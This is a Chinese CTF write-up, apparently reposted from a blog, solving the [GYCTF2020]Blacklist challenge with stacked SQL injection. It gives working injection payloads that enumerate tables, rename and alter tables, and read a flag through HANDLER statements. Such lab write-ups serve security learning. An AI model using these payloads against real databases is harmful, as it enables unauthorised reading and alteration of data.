zoukankan      html  css  js  c++  java
  • [GYCTF2020]Blacklist

    今天做的这道题是18年网鼎杯堆叠注入的衍生版,这里记录一下

    题目

    分析

    ?inject=1'

    报错

    ?inject=1'--+

    正常

    然后查看有多少字段

    ?inject=1' order by 2--+

    然后用联合查询

    ?inject=1' union select 1,2--+

    发现有过滤

    试试用堆叠注入,查库

    /?inject=1';show databases;

    查表

    ?inject=1';show tables;

     查看`FlagHere`这张表

    ?inject=1';show columns from `FlagHere`;

    里面有flag字段

    查`words`这个字段,里面有id和data两个字段

     因为刚开始回显的时候,是从`words`这张表中查询的内容,所以最后肯定是在`words`这张表回显的

    这时候我们就可以已下面的骚姿势进行注入:

    1.将words表改名为word1或其它任意名字

    2.FlagHere改名为words

    这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段


    3.将新的word表插入一列,列名为id

    或者将flag列改名为data

    构造payload

    1';RENAME TABLE `words` TO `words1`;RENAME TABLE `FlagHere` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;

    发现过滤了好多

    只能换一种方法了

    这里我们用到handler这个东西

    HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

    1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
  • 相关阅读:
    定力
    cordova build android 环境的坑
    我和数据差个“axios" -- axios的原理解析
    Promise的原理探究及手写Promise
    vue长列表优化
    koa-中间件使用
    vue组件库自动生成文档-vue-styleguidist(二)
    vue组件库自动生成文档-vue-styleguidist(一)
    vue组件库自动生成文档-生成方式对比(1)
    我的目录
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13681752.html
Copyright © 2011-2022 走看看